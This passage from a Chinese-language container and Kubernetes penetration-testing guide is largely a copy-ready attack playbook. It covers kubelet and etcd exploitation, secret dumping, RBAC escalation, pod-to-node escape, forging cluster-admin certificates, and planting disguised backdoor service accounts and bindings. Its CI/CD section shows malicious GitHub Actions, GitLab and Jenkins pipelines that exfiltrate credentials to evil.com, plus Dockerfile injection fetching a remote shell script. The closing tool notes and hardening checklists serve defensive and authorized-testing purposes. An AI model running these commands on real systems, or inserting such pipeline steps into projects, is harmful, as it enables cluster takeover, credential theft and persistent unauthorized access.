# 10255端口为只读API(已废弃)
curl http://TARGET_IP:10255/pods
# 利用kubelet执行命令(需要认证,除非配置为允许匿名)
# 构造命令执行请求
curl -k https://TARGET_IP:10250/run/namespace/podname/containername \
-d "cmd=whoami"
# 获取容器信息
curl -k https://TARGET_IP:10250/pods | python3 -m json.tool
# 获取kubelet配置
curl -k https://TARGET_IP:10250/configz
# 检查kubelet匿名认证配置
# 在Node上检查
cat /var/lib/kubelet/config.yaml | grep -i "anonymous\|auth"
【提示】 Kubelet API未授权是Kubernetes中最危险的配置之一。攻击者可以通过
/run/{namespace}/{pod}/{container}端点在任意容器中执行命令。务必确保anonymous.authenticated设置为false,并启用客户端CA证书认证。
7.3 etcd未授权访问
etcd存储了Kubernetes集群的所有状态数据,包括Secret、ConfigMap、ServiceAccount Token等敏感信息。
# 检查etcd端口
nmap -p 2379,2380 TARGET_IP
# 尝试未授权访问etcd
etcdctl --endpoints=http://TARGET_IP:2379 get / --prefix --keys-only
# 如果etcd需要证书,尝试通过Node上的证书
# 在Master节点上
export ETCDCTL_API=3
etcdctl --endpoints=https://127.0.0.1:2379 \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
get / --prefix --keys-only
# 提取所有Secret
etcdctl --endpoints=https://127.0.0.1:2379 \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
get /registry/secrets --prefix
# 提取ServiceAccount Token
etcdctl --endpoints=https://127.0.0.1:2379 \
--cert=/etc/kubernetes/pki/etcd/server.crt \
--key=/etc/kubernetes/pki/etcd/server.key \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
get /registry/serviceaccounts --prefix
7.4 Dashboard未授权
Kubernetes Dashboard如果没有正确配置认证,攻击者可以直接获取集群控制权。
# 检查Dashboard是否暴露
nmap -p 30000,31000,8443 TARGET_IP
# 尝试访问Dashboard
curl -k https://TARGET_IP:30000/
# 如果Dashboard允许跳过登录(旧版本)
# 直接访问以下URL
curl -k https://TARGET_IP:30000/api/v1/namespaces
# 通过Dashboard创建特权Pod逃逸
# 在Dashboard的"创建"功能中提交以下YAML
cat > evil-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: evil-pod
namespace: default
spec:
hostPID: true
hostNetwork: true
containers:
- name: shell
image: alpine
securityContext:
privileged: true
command: ["nsenter", "--target", "1", "--mount", "--uts", "--ipc", "--net", "--pid", "--", "bash"]
stdin: true
tty: true
hostNetwork: true
hostPID: true
EOF
7.5 ConfigMap与Secret泄露
# 枚举所有ConfigMap
kubectl get configmaps --all-namespaces
# 查看特定ConfigMap内容
kubectl get configmap app-config -o yaml
# 枚举所有Secret
kubectl get secrets --all-namespaces
# 解码Secret
kubectl get secret db-password -o jsonpath='{.data.password}' | base64 -d
# 批量提取所有Secret
kubectl get secrets --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\n"}{end}'
# 检查环境变量中的敏感信息
kubectl exec pod-name -- env | grep -iE "PASS|TOKEN|KEY|SECRET"
# 检查挂载的Secret
kubectl describe pod pod-name | grep -A5 "Volumes\|Secrets"
7.6 攻击面枚举脚本
#!/bin/bash
# k8s_enum.sh - Kubernetes攻击面枚举脚本
echo "=== Kubernetes 攻击面枚举 ==="
echo ""
echo "[1] 集群信息"
kubectl cluster-info 2>/dev/null
kubectl version 2>/dev/null
echo ""
echo "[2] 节点信息"
kubectl get nodes -o wide 2>/dev/null
echo ""
echo "[3] 命名空间"
kubectl get namespaces 2>/dev/null
echo ""
echo "[4] 所有Pod"
kubectl get pods --all-namespaces -o wide 2>/dev/null
echo ""
echo "[5] Service Account"
kubectl get serviceaccounts --all-namespaces 2>/dev/null
echo ""
echo "[6] RBAC - ClusterRole Bindings"
kubectl get clusterrolebindings -o wide 2>/dev/null | head -20
echo ""
echo "[7] Secrets"
kubectl get secrets --all-namespaces 2>/dev/null
echo ""
echo "[8] 暴露的Service"
kubectl get svc --all-namespaces 2>/dev/null | grep -v "ClusterIP.*<none>"
echo ""
echo "[9] Pod安全策略"
kubectl get psp 2>/dev/null || echo "PodSecurityPolicy已废弃"
echo ""
echo "[10] 当前身份权限"
kubectl auth can-i --list 2>/dev/null
echo ""
echo "[11] API资源列表"
kubectl api-resources 2>/dev/null | head -30
八、Kubernetes渗透实战
8.1 获取Pod内Shell
攻击者获取Pod访问权限后,第一步是获取交互式Shell。
# 通过kubectl exec进入Pod
kubectl exec -it pod-name -- /bin/bash
kubectl exec -it pod-name -c container-name -- /bin/sh
# 通过API Server执行命令
curl -k -X POST \
https://APISERVER:6443/api/v1/namespaces/default/pods/pod-name/exec \
-H "Authorization: Bearer TOKEN" \
-d "command=/bin/bash&container=containername&stdin=true&stdout=true&tty=true"
# 通过kubelet API执行命令
curl -k https://NODE_IP:10250/run/namespace/pod-name/container-name \
-d "cmd=/bin/bash"
# 使用websocket交互
# 如果容器中没有shell,可以使用busybox
kubectl exec -it pod-name -- /bin/sh -c "if command -v bash; then bash; elif command -v sh; then sh; fi"
8.2 Service Account Token利用
每个Pod默认挂载ServiceAccount Token,该Token可用于与API Server交互。
# 在Pod内获取ServiceAccount Token
cat /var/run/secrets/kubernetes.io/serviceaccount/token
# 获取其他信息
ls /var/run/secrets/kubernetes.io/serviceaccount/
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt
# 使用Token访问API Server
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER=https://kubernetes.default.svc
# 枚举当前权限
curl -k -H "Authorization: Bearer $TOKEN" \
$APISERVER/apis/authorization.k8s.io/v1/selfsubjectrulesreviews \
-H "Content-Type: application/json" \
-d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"'$NAMESPACE'"}}'
# 使用kubectl
kubectl --token=$TOKEN --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
auth can-i --list
# 查看当前ServiceAccount绑定的角色
kubectl --token=$TOKEN get rolebindings,clusterrolebindings -o jsonpath='{range .items[*]}{.metadata.name}{"\n"}{end}'
8.3 API Server认证绕过
# 场景1:匿名访问
curl -k https://APISERVER:6443/api/v1/nodes
# 场景2:使用泄露的Token
curl -k -H "Authorization: Bearer LEAKED_TOKEN" \
https://APISERVER:6443/api/v1/namespaces
# 场景3:使用kubeconfig文件
kubectl --kubeconfig=/path/to/kubeconfig get nodes
# 场景4:客户端证书认证
curl -k --cert client.crt --key client.key \
https://APISERVER:6443/api/v1/nodes
# 场景5:利用kubelet proxy
# 如果kubelet可被利用,可以通过kubelet代理访问API Server
curl -k https://NODE_IP:10250/proxy/https://APISERVER:6443/api/v1/nodes
# 枚举有效Token(如果获取了etcd访问权限)
# 从etcd中提取所有Token
etcdctl get /registry/secrets --prefix | grep -A2 "token\|password"
8.4 RBAC权限滥用提权
# 步骤1:检查当前权限
kubectl auth can-i --list
# 步骤2:检查是否可以创建Pod(可创建Pod=可逃逸到Node)
kubectl auth can-i create pods
# 步骤3:如果可以创建Pod,创建特权Pod逃逸
cat > escalate-pod.yaml << 'EOF'
apiVersion: v1
kind: Pod
metadata:
name: escalate
namespace: default
spec:
hostPID: true
hostNetwork: true
containers:
- name: escalate
image: alpine
securityContext:
privileged: true
command:
- nsenter
- --target
- "1"
- --mount
- --uts
- --ipc
- --net
- --pid
- --
- /bin/bash
stdin: true
tty: true
restartPolicy: Never
EOF
kubectl apply -f escalate-pod.yaml
kubectl exec -it escalate -- /bin/bash
# 步骤4:如果可以创建ClusterRoleBinding,直接给自己cluster-admin权限
kubectl auth can-i create clusterrolebindings
# 如果可以,创建绑定
kubectl create clusterrolebinding evil-binding \
--clusterrole=cluster-admin \
--serviceaccount=default:default
# 步骤5:如果可以get/update Secret,窃取其他SA的Token
kubectl get secret -n kube-system
# 获取kubernetes-dashboard的Token
kubectl get secret -n kube-system \
$(kubectl get sa -n kube-system kubernetes-dashboard -o jsonpath='{.secrets[0].name}') \
-o jsonpath='{.data.token}' | base64 -d
8.5 从Pod逃逸到Node
# 在Pod内执行以下步骤逃逸到Node
# 方法1:通过nsenter(需要hostPID和特权)
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash
# 方法2:通过挂载宿主磁盘(需要privileged)
mkdir /host
mount /dev/sda1 /host
chroot /host /bin/bash
# 方法3:通过kubelet(如果Pod有网络访问到kubelet)
# 获取本Node的kubelet信息
echo $KUBE_NODE_NAME # 通过Downward API或环境变量
# 或通过Pod的status字段获取nodeName
cat /etc/hostname
# 方法4:通过容器运行时socket
ls -la /var/run/containerd/containerd.sock
ls -la /run/containerd/containerd.sock
ls -la /var/run/docker.sock
# 使用crictl操作容器运行时
crictl ps
crictl exec -it <container_id> /bin/sh
8.6 从Node接管集群
# 获取Node Shell后,寻找集群凭据
# 步骤1:查找kubeconfig文件
find / -name "kubeconfig" -o -name "admin.conf" -o -name "config" 2>/dev/null | grep -i kube
# 常见位置
cat /etc/kubernetes/admin.conf
cat /root/.kube/config
cat /etc/kubernetes/kubelet.conf
# 步骤2:使用kubeconfig访问集群
kubectl --kubeconfig=/etc/kubernetes/admin.conf get nodes
# 步骤3:查找etcd证书
ls -la /etc/kubernetes/pki/etcd/
# 步骤4:直接读取etcd中的Secret
ETCDCTL_API=3 etcdctl \
--endpoints=https://127.0.0.1:2379 \
--cert=/etc/kubernetes/pki/etcd/healthcheck-client.crt \
--key=/etc/kubernetes/pki/etcd/healthcheck-client.key \
--cacert=/etc/kubernetes/pki/etcd/ca.crt \
get /registry/secrets/kube-system --prefix | strings
# 步骤5:提取cluster-admin证书
cat /etc/kubernetes/pki/ca.crt
cat /etc/kubernetes/pki/ca.key # 如果有CA私钥=完全控制集群
# 步骤6:使用CA私钥签发新的cluster-admin证书
openssl genrsa -out admin.key 2048
openssl req -new -key admin.key -subj "/CN=admin/O=system:masters" -out admin.csr
openssl x509 -req -in admin.csr -CA /etc/kubernetes/pki/ca.crt \
-CAkey /etc/kubernetes/pki/ca.key -CAcreateserial -out admin.crt -days 365
# 步骤7:使用新证书访问集群
kubectl --certificate-authority=/etc/kubernetes/pki/ca.crt \
--client-certificate=admin.crt --client-key=admin.key \
--server=https://127.0.0.1:6443 get nodes
# 步骤8:持久化 - 创建后门ServiceAccount
kubectl create serviceaccount backdoor -n kube-system
kubectl create clusterrolebinding backdoor-binding \
--clusterrole=cluster-admin \
--serviceaccount=kube-system:backdoor
kubectl create token backdoor -n kube-system --duration=87600h
九、Kubernetes RBAC攻击
9.1 RBAC模型详解
Kubernetes RBAC由四个核心对象组成:
| 对象 | 作用域 | 说明 |
|---|---|---|
| Role | 命名空间级 | 定义命名空间内的权限规则 |
| ClusterRole | 集群级 | 定义集群范围的权限规则 |
| RoleBinding | 命名空间级 | 将Role绑定到用户/组/SA |
| ClusterRoleBinding | 集群级 | 将ClusterRole绑定到用户/组/SA |
# 查看所有Role和ClusterRole
kubectl get roles --all-namespaces
kubectl get clusterroles
# 查看所有Binding
kubectl get rolebindings --all-namespaces
kubectl get clusterrolebindings
# 查看特定ClusterRole的权限
kubectl get clusterrole cluster-admin -o yaml
# 查看绑定关系
kubectl get clusterrolebinding -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.roleRef.name}{"\t"}{.subjects[*].kind}/{.subjects[*].name}{"\n"}{end}'
9.2 权限配置审计
# 审计:哪些用户/SA拥有cluster-admin权限
kubectl get clusterrolebinding -o json | \
python3 -c "
import json, sys
data = json.load(sys.stdin)
for item in data['items']:
if item['roleRef']['name'] == 'cluster-admin':
for subj in item.get('subjects', []):
print(f\"{item['metadata']['name']}: {subj['kind']}/{subj.get('namespace','')}/{subj['name']}\")
"
# 审计:哪些SA拥有create pods权限(可逃逸)
kubectl auth can-i create pods --as=system:serviceaccount:default:default
# 审计:哪些SA拥有create secrets权限
kubectl auth can-i create secrets --as=system:serviceaccount:default:default
# 审计:所有拥有特权操作权限的主体
for sa in $(kubectl get sa --all-namespaces -o jsonpath='{range .items[*]}{.metadata.namespace}/{.metadata.name}{"\n"}{end}'); do
ns=$(echo $sa | cut -d/ -f1)
name=$(echo $sa | cut -d/ -f2)
if kubectl auth can-i create pods -n $ns --as=system:serviceaccount:$ns:$name 2>/dev/null | grep -q yes; then
echo "[!] $sa 可以创建Pod(逃逸风险)"
fi
done
9.3 高危权限识别
| 高危权限 | 风险说明 | 提权路径 |
|---|---|---|
| create pods | 可创建特权Pod逃逸到Node | Pod -> Node -> 集群 |
| create clusterrolebindings | 可给自己绑定cluster-admin | 任意SA -> cluster-admin |
| get/update secrets | 可窃取其他SA Token | 获取高权限SA Token |
| create/exec pods | 可在任意容器执行命令 | 获取应用数据、横向移动 |
| create tokens | 可为任意SA创建Token | 伪造SA身份 |
| get/list pods | 可读取Pod环境变量 | 获取敏感信息 |
| create serviceaccounts | 可创建后门SA | 持久化访问 |
| escalate(impersonate) | 可模拟任意用户 | 冒充cluster-admin |
| bind | 可绑定任意ClusterRole | 绑定cluster-admin |
| create persistentvolumes | 可挂载Node存储 | 访问Node文件系统 |
9.4 提权路径分析
# 提权路径1:create pods -> 逃逸到Node
# 条件:拥有create pods权限
# 步骤见8.4节
# 提权路径2:create clusterrolebindings -> cluster-admin
# 条件:拥有create clusterrolebindings权限
kubectl create clusterrolebinding pwned \
--clusterrole=cluster-admin \
--serviceaccount=default:current-sa
# 提权路径3:get secrets -> 窃取Token
# 条件:拥有get secrets权限
kubectl get secrets -n kube-system
kubectl get secret -n kube-system <admin-sa-token> -o jsonpath='{.data.token}' | base64 -d
# 提权路径4:impersonate -> 冒充cluster-admin
# 条件:拥有impersonate权限
kubectl --as=system:admin get nodes
kubectl --as=system:masters get secrets --all-namespaces
# 提权路径5:create tokens -> 为高权限SA创建Token
# 条件:拥有create serviceaccounts/token权限
kubectl create token default -n kube-system
# 提权路径6:update deployments -> 注入恶意容器
# 条件:拥有update deployments权限
kubectl patch deployment app -p '{
"spec": {
"template": {
"spec": {
"containers": [{
"name": "backdoor",
"image": "alpine",
"securityContext": {"privileged": true},
"command": ["nsenter", "--target", "1", "--mount", "--", "/bin/bash"]
}]
}
}
}
}'
9.5 创建恶意ClusterRole绑定
# evil-clusterrolebinding.yaml
# 如果攻击者拥有create clusterrolebindings权限
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: system:default-sa-binding
annotations:
# 伪装成系统组件,增加隐蔽性
rbac.authorization.kubernetes.io/autoupdate: "true"
subjects:
- kind: ServiceAccount
name: default
namespace: default
roleRef:
kind: ClusterRole
name: cluster-admin
apiGroup: rbac.authorization.k8s.io
# 应用恶意绑定
kubectl apply -f evil-clusterrolebinding.yaml
# 验证提权
kubectl auth can-i '*' '*' --all-namespaces
# 创建更隐蔽的后门(绑定到kube-system命名空间)
kubectl create clusterrolebinding system-monitor \
--clusterrole=cluster-admin \
--serviceaccount=kube-system:default
9.6 Kubeconfig文件窃取
# 在被攻陷的Node上查找kubeconfig
find / -name "*.conf" -path "*/kube*" 2>/dev/null
find / -name "kubeconfig" 2>/dev/null
find / -name "config" -path "*kube*" 2>/dev/null
# 常见位置
locations=(
"/etc/kubernetes/admin.conf"
"/etc/kubernetes/kubelet.conf"
"/etc/kubernetes/controller-manager.conf"
"/etc/kubernetes/scheduler.conf"
"/root/.kube/config"
"/home/*/.kube/config"
"/var/lib/kubelet/"
)
for loc in "${locations[@]}"; do
if [ -f "$loc" ]; then
echo "[+] 找到kubeconfig: $loc"
cp "$loc" /tmp/kubeconfig_$(echo $loc | tr '/' '_')
fi
done
# 使用窃取的kubeconfig
kubectl --kubeconfig=/tmp/kubeconfig_etc_kubernetes_admin.conf get nodes
# 提取kubeconfig中的证书和密钥
python3 -c "
import yaml, base64, sys
with open('/tmp/stolen_kubeconfig') as f:
config = yaml.safe_load(f)
for user in config.get('users', []):
name = user['name']
cert = user['user'].get('client-certificate-data', '')
key = user['user'].get('client-key-data', '')
if cert:
with open(f'/tmp/{name}.crt', 'wb') as cf:
cf.write(base64.b64decode(cert))
if key:
with open(f'/tmp/{name}.key', 'wb') as kf:
kf.write(base64.b64decode(key))
print(f'Extracted cert and key for: {name}')
"
十、CI/CD管道攻击
10.1 Docker镜像构建安全
Dockerfile注入攻击:
# 恶意Dockerfile示例 - 利用构建参数注入
FROM alpine:3.19
# 攻击者通过控制构建参数注入恶意命令
ARG VERSION
# 如果VERSION来源于不可信输入:
# VERSION=$(curl evil.com/shell.sh | sh)
RUN apk add --no-cache curl && \
curl ${VERSION} # 如果VERSION="http://evil.com/shell.sh | sh"
# 构建上下文泄露 - 复制整个目录
COPY . /app
# 如果目录包含.git、.env、密钥等敏感文件,将被打包进镜像
安全构建示例:
# 使用BuildKit和秘密管理
DOCKER_BUILDKIT=1 docker build \
--secret id=npmrc,src=/root/.npmrc \
--secret id=ssh,src=/root/.ssh/id_rsa \
-t myapp:latest .
# 在Dockerfile中使用秘密(不留痕迹)
# syntax=docker/dockerfile:1.4
FROM node:20-alpine
RUN --mount=type=secret,id=npmrc \
cp /run/secrets/npmrc /root/.npmrc && \
npm ci && \
rm /root/.npmrc
构建上下文泄露检测:
# 检查.dockerignore是否配置
cat .dockerignore
# 安全的.dockerignore
cat > .dockerignore << 'EOF'
.git
.gitignore
.env
.env.local
*.pem
*.key
*.crt
node_modules
docker-compose.yml
Dockerfile
.dockerignore
README.md
.vscode
.idea
coverage
*.log
EOF
# 检查镜像中是否包含敏感文件
docker create --name check myimage:latest
docker export check | tar -tvf - | grep -iE "\.env|\.git|\.ssh|\.pem|\.key|password|secret"
docker rm check
10.2 CI/CD凭据窃取
GitHub Actions凭据窃取:
# 恶意GitHub Action工作流
name: CI
on: [push]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
DOCKER_PASSWORD: ${{ secrets.DOCKER_PASSWORD }}
AWS_ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}
AWS_SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: |
# 表面上正常构建
docker build -t app .
# 暗中窃取凭据
curl -X POST https://evil.com/collect -d "token=$GITHUB_TOKEN&aws=$AWS_ACCESS_KEY:$AWS_SECRET_KEY"
GitLab CI凭据窃取:
# 恶意.gitlab-ci.yml
stages:
- build
build:
stage: build
script:
- docker build -t app .
# 窃取CI变量
- |
for var in $(env | grep -iE "CI_|TOKEN|PASSWORD|KEY|SECRET" | cut -d= -f1); do
curl -X POST https://evil.com/collect -d "${var}=${!var}"
done
# 窃取Runner注册Token
- cat /etc/gitlab-runner/config.toml 2>/dev/null || true
Jenkins凭据窃取:
# 在Jenkins Pipeline中窃取凭据
pipeline {
agent any
stages {
stage('Build') {
steps {
withCredentials([string(credentialsId: 'aws-secret', variable: 'SECRET'),
usernamePassword(credentialsId: 'docker', variable: 'USERPASS')]) {
sh '''
# 正常构建
docker build -t app .
# 窃取凭据
curl -X POST https://evil.com/collect -d "secret=${SECRET}&creds=${USERPASS}"
'''
}
}
}
}
}
# 通过Jenkins Script Console窃取
# 在Jenkins管理 > Script Console中执行
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
com.cloudbees.plugins.credentials.common.StandardCredentials.class,
Jenkins.instance,
null,
null
)
creds.each { c ->
if (c instanceof com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl) {
println "ID: ${c.id} User: ${c.username} Pass: ${c.password}"
}
}
10.3 供应链投毒攻击
# 攻击场景:通过依赖投毒
# 攻击者上传与常用包名称相似的恶意包
# Python PyPI投毒
pip install reqeusts # 注意拼写:reqeusts vs requests
# Node.js npm投毒
npm install express-validator-malicious
# 检测可疑依赖
pip-audit
npm audit
yarn audit
# 在Docker构建中投毒
# 攻击者篡改基础镜像的包管理器源
dockerfile_injection="
RUN echo 'deb http://evil.com/apt /' >> /etc/apt/sources.list
RUN apt-get update && apt-get install -y backdoor-package
"
【提示】 CI/CD管道是供应链攻击的重灾区。建议:1)使用私有镜像仓库并签名验证所有镜像;2)最小化CI/CD中的Secret权限;3)使用SBOM持续监控依赖安全;4)启用构建来源审计;5)对CI/CD配置文件进行代码审查。
十一、容器安全工具实战
11.1 安全工具对比
| 工具名称 | 类型 | 主要功能 | 适用场景 |
|---|---|---|---|
| kube-bench | 合规扫描 | CIS Benchmark检查 | 集群配置审计 |
| kube-hunter | 漏洞扫描 | 集群安全漏洞发现 | 渗透测试、安全评估 |
| KubiScan | RBAC审计 | 高危RBAC权限识别 | RBAC配置审计 |
| Peirates | 渗透测试 | Kubernetes攻击工具包 | 授权渗透测试 |
| kubeletctl | 利用工具 | Kubelet API利用 | Kubelet攻击 |
| Deepfence | 运行时安全 | 运行时威胁检测 | 生产环境监控 |
| Trivy | 漏洞扫描 | 镜像/文件系统漏洞扫描 | CI/CD镜像扫描 |
| Falco | 运行时检测 | 内核级行为监控 | 运行时安全监控 |
| kubeaudit | 合规审计 | 安全配置审计 | 集群安全检查 |
| Kyverno | 策略引擎 | 准入控制策略 | 集群策略执行 |
11.2 工具实战使用
kube-bench - CIS合规检查:
# 在Master节点运行
kube-bench --benchmark cis-1.8 run --targets master
# 在Worker节点运行
kube-bench --benchmark cis-1.8 run --targets node
# 检查etcd
kube-bench --benchmark cis-1.8 run --targets etcd
# 生成JSON报告
kube-bench --benchmark cis-1.8 run --output json --output-file /tmp/bench-report.json
# 在Docker容器中运行
docker run --rm --pid=host --userns=host --privileged \
-v /etc:/etc:ro \
-v /var:/var:ro \
-v $(which kubectl):/usr/local/bin/kubectl:ro \
-v /var/lib/kubelet:/var/lib/kubelet:ro \
-v /var/lib/etcd:/var/lib/etcd:ro \
-v /var/lib/cni:/var/lib/cni:ro \
-v /opt/cni/bin:/opt/cni/bin:ro \
aquasec/kube-bench:latest
kube-hunter - 漏洞扫描:
# 远程扫描
kube-hunter --remote TARGET_IP
# 扫描子网
kube-hunter --cidr 192.168.1.0/24
# 在Pod内扫描集群
kubectl run kube-hunter --rm -it --image=aquasec/kube-hunter \
-- --interface
# 扫描活跃Pod
kube-hunter --active
# 生成报告
kube-hunter --remote TARGET_IP --report yaml
KubiScan - RBAC审计:
# 安装KubiScan
git clone https://github.com/cyberark/KubiScan.git
cd KubiScan
pip install -r requirements.txt
# 扫描高危RBAC权限
python3 KubiScan.py --priv
# 扫描特定ServiceAccount
python3 KubiScan.py --sa -n default -n kube-system
# 扫描所有Role和ClusterRole
python3 KubiScan.py --roles
# 扫描所有Binding
python3 KubiScan.py --bindings
Peirates - 渗透测试:
# 安装Peirates
go install github.com/inguardians/peirates@latest
# 交互式使用
peirates
# 在Peirates交互界面中
# 1. 枚举ServiceAccount Token
peirates> list-tokens
# 2. 尝试获取节点列表
peirates> get-nodes
# 3. 创建后门Pod
peirates> create-pod
# 4. 执行命令
peirates> exec-command
kubeletctl - Kubelet利用:
# 安装kubeletctl
wget https://github.com/cyberark/kubeletctl/releases/latest/download/kubeletctl_linux_amd64
chmod +x kubeletctl && mv kubeletctl /usr/local/bin/
# 枚举Pod
kubeletctl pods -s NODE_IP
# 在Pod中执行命令
kubeletctl exec -s NODE_IP -p pod-name -c container-name "whoami"
# 扫描所有节点的kubelet
for node in $(kubectl get nodes -o jsonpath='{.items[*].status.addresses[?(@.type=="InternalIP")].address}'); do
echo "=== Node: $node ==="
kubeletctl pods -s $node 2>/dev/null | head -5
done
# 批量执行命令
kubeletctl scan rce -s NODE_IP
11.3 自动化扫描脚本
#!/bin/bash
# k8s_full_scan.sh - Kubernetes全面安全扫描脚本
# 仅用于授权测试
CLUSTER_API=$1
TOKEN=$2
OUTPUT_DIR="./scan_results_$(date +%Y%m%d_%H%M%S)"
mkdir -p $OUTPUT_DIR
echo "=========================================="
echo "Kubernetes安全全面扫描"
echo "输出目录: $OUTPUT_DIR"
echo "=========================================="
echo ""
echo "[1/7] 集群信息收集"
kubectl --server=$CLUSTER_API --token=$TOKEN --insecure-skip-tls-verify \
cluster-info > $OUTPUT_DIR/cluster-info.txt 2>&1
kubectl --server=$CLUSTER_API --token=$TOKEN --insecure-skip-tls-verify \
get nodes -o wide > $OUTPUT_DIR/nodes.txt 2>&1
kubectl --server=$CLUSTER_API --token=$TOKEN --insecure-skip-tls-verify \
version > $OUTPUT_DIR/version.txt 2>&1
echo "[2/7] RBAC权限枚举"
kubectl --server=$CLUSTER_API --token=$TOKEN --insecure-skip-tls-verify \
auth can-i --list > $OUTPUT_DIR/my-permissions.txt 2>&1
kubectl --server=$CLUSTER_API --token=$TOKEN --insecure-skip-tls-verify \
get clusterrolebindings -o wide > $OUTPUT_DIR/clusterrolebindings.txt 2>&1
kubectl --server=$CLUSTER_API --token=$TOKEN --insecure-skip-tls-verify \
get rolebindings --all-namespaces -o wide > $OUTPUT_DIR/rolebindings.txt 2>&1
echo "[3/7] 资源枚举"
kubectl --server=$CLUSTER_API --token=$TOKEN --insecure-skip-tls-verify \
get pods --all-namespaces -o wide > $OUTPUT_DIR/pods.txt 2>&1
kubectl --server=$CLUSTER_API --token=$TOKEN --insecure-skip-tls-verify \
get secrets --all-namespaces > $OUTPUT_DIR/secrets-list.txt 2>&1
kubectl --server=$CLUSTER_API --token=$TOKEN --insecure-skip-tls-verify \
get configmaps --all-namespaces > $OUTPUT_DIR/configmaps.txt 2>&1
echo "[4/7] 网络策略检查"
kubectl --server=$CLUSTER_API --token=$TOKEN --insecure-skip-tls-verify \
get networkpolicy --all-namespaces > $OUTPUT_DIR/networkpolicies.txt 2>&1
echo "[5/7] Pod安全策略检查"
kubectl --server=$CLUSTER_API --token=$TOKEN --insecure-skip-tls-verify \
get psp > $OUTPUT_DIR/psp.txt 2>&1 || echo "PodSecurityPolicy已废弃" > $OUTPUT_DIR/psp.txt
echo "[6/7] 特权容器检测"
kubectl --server=$CLUSTER_API --token=$TOKEN --insecure-skip-tls-verify \
get pods --all-namespaces -o json | \
python3 -c "
import json, sys
data = json.load(sys.stdin)
for pod in data['items']:
ns = pod['metadata']['namespace']
name = pod['metadata']['name']
for c in pod['spec'].get('containers', []):
sc = c.get('securityContext', {})
if sc.get('privileged'):
print(f'[!] 特权容器: {ns}/{name}/{c[\"name\"]}')
caps = sc.get('capabilities', {}).get('add', [])
dangerous = ['SYS_ADMIN', 'SYS_MODULE', 'SYS_PTRACE', 'SYS_RAWIO', 'DAC_OVERRIDE']
for cap in caps:
if cap in dangerous:
print(f'[!] 危险能力: {ns}/{name}/{c[\"name\"]} -> {cap}')
if pod['spec'].get('hostPID'):
print(f'[!] hostPID: {ns}/{name}')
if pod['spec'].get('hostNetwork'):
print(f'[!] hostNetwork: {ns}/{name}')
" > $OUTPUT_DIR/privileged-pods.txt 2>&1
echo "[7/7] 端口扫描"
nmap -p 6443,10250,10255,2379,30000-32767,8443 $CLUSTER_API > $OUTPUT_DIR/nmap.txt 2>&1
echo ""
echo "=========================================="
echo "扫描完成!结果保存在: $OUTPUT_DIR"
echo "=========================================="
echo ""
echo "高危发现汇总:"
grep -c "\[!\]" $OUTPUT_DIR/privileged-pods.txt 2>/dev/null | xargs -I{} echo "特权/危险容器数量: {}"
echo "Secret总数: $(wc -l < $OUTPUT_DIR/secrets-list.txt)"
echo "NetworkPolicy数量: $(wc -l < $OUTPUT_DIR/networkpolicies.txt)"
十二、防御与加固方案
12.1 Docker安全加固清单
| 序号 | 加固项 | 配置方法 | 风险等级 |
|---|---|---|---|
| 1 | 禁用TCP端口 | daemon.json中仅使用unix socket | 严重 |
| 2 | 启用TLS认证 | 配置tlscacert/tlscert/tlskey | 严重 |
| 3 | 限制Docker Socket权限 | chmod 660 /var/run/docker.sock | 严重 |
| 4 | 严格控制docker组 | 移除非必要用户 | 严重 |
| 5 | 启用用户命名空间隔离 | userns-remap=default | 高 |
| 6 | 禁用特权容器 | 不使用–privileged | 高 |
| 7 | 限制Linux Capabilities | 删除不必要的cap-add | 高 |
| 8 | 启用只读根文件系统 | –read-only | 中 |
| 9 | 禁止容器间通信 | icc=false | 中 |
| 10 | 设置资源限制 | –memory --cpu | 中 |
| 11 | 启用内容信任 | DOCKER_CONTENT_TRUST=1 | 中 |
| 12 | 使用非root用户 | Dockerfile中USER指令 | 高 |
| 13 | 配置日志限制 | log-opts max-size/max-file | 低 |
| 14 | 禁用userland proxy | userland-proxy=false | 低 |
| 15 | 启用live-restore | live-restore=true | 低 |
| 16 | 限制容器挂载 | 禁止挂载主机敏感目录 | 高 |
| 17 | 使用AppArmor/SELinux | 配置安全配置文件 | 中 |
| 18 | 禁止SETUID | no-new-privileges=true | 中 |
| 19 | 定期镜像扫描 | CI/CD中集成Trivy | 中 |
| 20 | 最小化基础镜像 | 使用alpine/distroless | 中 |
| 21 | 禁止使用latest标签 | 固定版本号 | 低 |
| 22 | 配置Docker Bench | 定期运行CIS检查 | 低 |
12.2 Kubernetes安全加固清单
| 序号 | 加固项 | 配置方法 | 风险等级 |
|---|---|---|---|
| 1 | 禁用API Server匿名访问 | –anonymous-auth=false | 严重 |
| 2 | 启用RBAC | –authorization-mode=RBAC | 严重 |
| 3 | 关闭insecure-port | –insecure-port=0 | 严重 |
| 4 | 启用etcd加密 | –encryption-provider-config | 严重 |
| 5 | 限制kubelet匿名访问 | authentication.anonymous.enabled=false | 严重 |
| 6 | 启用kubelet证书轮换 | rotateCertificates=true | 高 |
| 7 | 禁用特权容器 | Pod Security Standards: restricted | 高 |
